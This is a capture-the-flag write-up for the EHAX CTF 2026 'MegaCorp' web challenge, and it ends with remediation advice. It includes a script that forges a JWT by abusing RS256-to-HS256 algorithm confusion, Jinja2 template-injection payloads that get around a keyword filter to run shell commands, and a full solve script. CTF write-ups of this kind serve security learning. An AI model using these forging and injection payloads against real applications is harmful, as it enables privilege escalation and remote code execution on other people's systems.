MegaCorp - Web (446 pts)
Author: benzo
Event: EHAX CTF 2026
Flag: EH4X{14mk1nd4high}
Challenge
i made this website for someone and he says its not secure
We're given a web application at http://chall.ehax.in:7801/.
Reconnaissance
The app is a Flask/Werkzeug (3.1.6, Python 3.11) employee portal with three endpoints:
| Endpoint | Description |
|---|---|
/login | Authentication form |
/profile | Employee profile with bio preview |
/fetch | Network Fetcher (403 - restricted) |
The login page has a hint in the HTML source:
<!-- hint: did you check for sql injection? just kidding, there is none here -->The placeholder username is alice. Trying common passwords, alice:password123 logs us in and sets a JWT cookie.
Step 1 — JWT Analysis
The token cookie is a JWT signed with RS256:
Header: {"alg":"RS256","typ":"JWT"}
Payload: {"username":"alice","role":"user"}
The profile page shows we're employee_tier_1 with locked navigation items:
- Network Fetcher — "Requires sysadmin privileges"
- System Logs — locked
- Vault Access — locked
An alert on the page reads:
HTML rendering is disabled for Tier 1 employees. Due to security policy SC-71a, advanced bio customization via context execution requires System Administrator approval.
This hints that SSTI (Server-Side Template Injection) is enabled for admin-level users.
Step 2 — Public Key Discovery
To forge a JWT, we need the RSA key material. Enumerating paths reveals the public key at:
GET /pubkey → 200 OK
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsNmqnDkCDNBFWmWQ3ZsA
aYELW0TM1Ea746JjjojY8jq4psXnI00XOIjBI+q1xg0JYfpa6+m/zp4ZzeEw3/GX
...
-----END PUBLIC KEY-----
Step 3 — JWT Algorithm Confusion (RS256 → HS256)
This is CVE-2016-10555. When a JWT library is misconfigured (e.g., jwt.decode(token, public_key, algorithms=["RS256", "HS256"])), an attacker can:
- Change the
algheader fromRS256toHS256 - Sign the token using the public key (which is public!) as the HMAC secret
- The server verifies with the same public key material — and it passes
We forge a token with role: admin:
import hmac, hashlib, base64, json
with open('public.pem', 'rb') as f:
public_key = f.read()
header = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"username":"alice","role":"admin"}).encode()).rstrip(b'=')
signing_input = header + b'.' + payload
signature = hmac.new(public_key, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=')
forged_token = (signing_input + b'.' + sig_b64).decode()
print(forged_token)Setting this as the token cookie gives us sysadmin_root access with all navigation items unlocked.
Step 4 — SSTI with WAF Bypass
With admin access, the bio preview field now renders Jinja2 templates:
POST /profile
bio={{7*7}}
→ 49
However, a WAF blocks keywords: os, popen, eval, exec, __class__.
Bypass via string concatenation — Jinja2 evaluates 'o'+'s' at runtime, avoiding the static keyword filter:
{{lipsum.__globals__['o'+'s']['po'+'pen']('id').read()}}
→ uid=0(root) gid=0(root) groups=0(root)
Step 5 — Flag Extraction
{{lipsum.__globals__['o'+'s']['po'+'pen']('grep -i EH4X /app/app.py').read()}}
→ return b"EH4X{14mk1nd4high}"
Full Exploit Script
#!/usr/bin/env python3
"""MegaCorp - EHAX CTF 2026 solve script"""
import hmac, hashlib, base64, json, requests
URL = "http://chall.ehax.in:7801"
# Step 1: Login
s = requests.Session()
s.post(f"{URL}/login", data={"username": "alice", "password": "password123"})
# Step 2: Get public key
pubkey = requests.get(f"{URL}/pubkey").content
# Step 3: Forge admin JWT (RS256 → HS256 confusion)
header = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"username":"alice","role":"admin"}).encode()).rstrip(b'=')
signing_input = header + b'.' + payload
sig = base64.urlsafe_b64encode(
hmac.new(pubkey, signing_input, hashlib.sha256).digest()
).rstrip(b'=')
token = (signing_input + b'.' + sig).decode()
# Step 4: SSTI with WAF bypass → RCE
ssti_payload = "{{lipsum.__globals__['o'+'s']['po'+'pen']('grep -i EH4X /app/app.py').read()}}"
r = requests.post(
f"{URL}/profile",
cookies={"token": token},
data={"bio": ssti_payload}
)
import re
match = re.search(r'bio-display">\s*(.*?)\s*</div>', r.text, re.DOTALL)
if match:
print(f"Flag: {match.group(1).strip()}")Key Vulnerabilities
| # | Vulnerability | Impact |
|---|---|---|
| 1 | Weak credentials (alice:password123) | Initial access |
| 2 | Public key exposed at /pubkey | Enables algorithm confusion |
| 3 | JWT algorithm confusion (CVE-2016-10555) | Privilege escalation to admin |
| 4 | Jinja2 SSTI for admin users | Remote code execution |
| 5 | Weak WAF (string concat bypass) | WAF evasion |
Remediation
- JWT: Always enforce specific algorithms:
jwt.decode(token, key, algorithms=["RS256"]) - SSTI: Never pass user input to
render_template_string(). Userender_template()with separate template files. - WAF: If you must filter, use AST-level analysis, not keyword blocklists.
- Keys: Don't expose cryptographic keys on unauthenticated endpoints.